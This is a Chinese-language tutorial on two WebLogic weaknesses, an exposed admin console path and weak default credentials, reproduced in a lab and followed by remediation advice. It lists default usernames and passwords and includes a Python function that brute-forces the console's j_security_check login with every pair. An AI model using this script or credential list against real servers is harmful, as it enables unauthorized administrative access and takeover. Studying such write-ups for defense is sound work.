webLogic漏洞分析—控制台路径泄露与弱口令

Weblogic_控制台路径泄露

  • 1 漏洞概述
    • 1.1 基础知识
    • 1.2 漏洞概述
  • 2 漏洞原理分析
  • 3 漏洞复现
    • 3.1 环境搭建
    • 3.2 漏洞利用
  • 4 漏洞修复
  • 5 其他

1 漏洞概述

1.1 基础知识

要了解这个漏洞首先我们要了解一个概念,什么是web服务器控制台,它有什么作用和影响:
对于weblogic控制台来讲:Weblogic有一个Web端的管理控制台,关于Weblogic的操作、Web服务的配置及程序管理等都可以通过这个控制台进行操作。
在这里插入图片描述

1.2 漏洞概述

由于各种web中间件默认路径可能都存在控制台页面路径泄露的情况,这就是我们的一个攻击面,一旦我们可以获取到这个控制台权限,我们就可以对网站进行一些高危操作。
在这里插入图片描述

风险等级:

【高危】:可访问默认中间件控制台,且能过成功获取 shell。

【中危】:可访问默认中间件控制台,并成功登录,但无法获取 shell。

【低危】:可访问默认中间件控制台,但无法登录且无法执行危险操作。

2 漏洞原理分析

1:如果产品部署了控制台功能,并且模块路径为默认路径,就存在控制台路径的泄露问题。
Weblogic控制台默认路径:http://127.0.0.1:7001/console/login/LoginForm.jsp

2:如果控制台的页面账户密码为默认账户名和密码,则存在弱口令的问题。
Welogic默认账户名和密码:WebLogic’, ‘weblogic’, ‘Oracle@123’, ‘password’, ‘system’, ‘Administrator’, ‘admin’, ‘security’, ‘joe’, ‘wlcsystem’, ‘wlpisystem’

3 漏洞复现

通过上述分析,我们发现可以通过探访web服务器控制台界面的默认路径,来查看是否开启了这个控制台页面,如果存在,我们再进行默认密码爆破。

3.1 环境搭建

两种方式:1:下载weblogic jar包安装 2:使用dockers镜像

Weblogic版本:10.3.6(11g)

3.2 漏洞利用

Step1:手动登录或使用脚本探索weblogic控制台默认路径

1:方式一:手动登录:
http://127.0.0.1:7001/console/login/LoginForm.jsp
在这里插入图片描述
2:方式二:使用脚本:
在这里插入图片描述
Step2:对账户密码进行爆破

方式一:使用脚本进行爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 def weakPasswd(self):
        """weak password"""

        pwddict = ['WebLogic', 'weblogic', 'Oracle@123', 'password', 'system', 'Administrator', 'admin', 'security', 'joe', 'wlcsystem', 'wlpisystem']
        for user in pwddict:
            for pwd in pwddict:
                data = {
                    'j_username':user,
                    'j_password':pwd,
                    'j_character_encoding':'UTF-8'
                }
                req = requests.post(self.url+':7001/console/j_security_check', data=data, allow_redirects=False, verify=False)

                if req.status_code == 302 and 'console' in req.text and 'LoginForm.jsp' not in req.text:
                    print('[+] WebLogic username: '+user+'  password: '+pwd)

方式二:使用burpsuite进行密码爆破

4 漏洞修复

1:如果远程部署功能的确需要,建议修改默认的模块名称。
2:修改控制台密码

5 其他

这个控制台密码的加密方式为weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可;则会部分我们后续再进行操作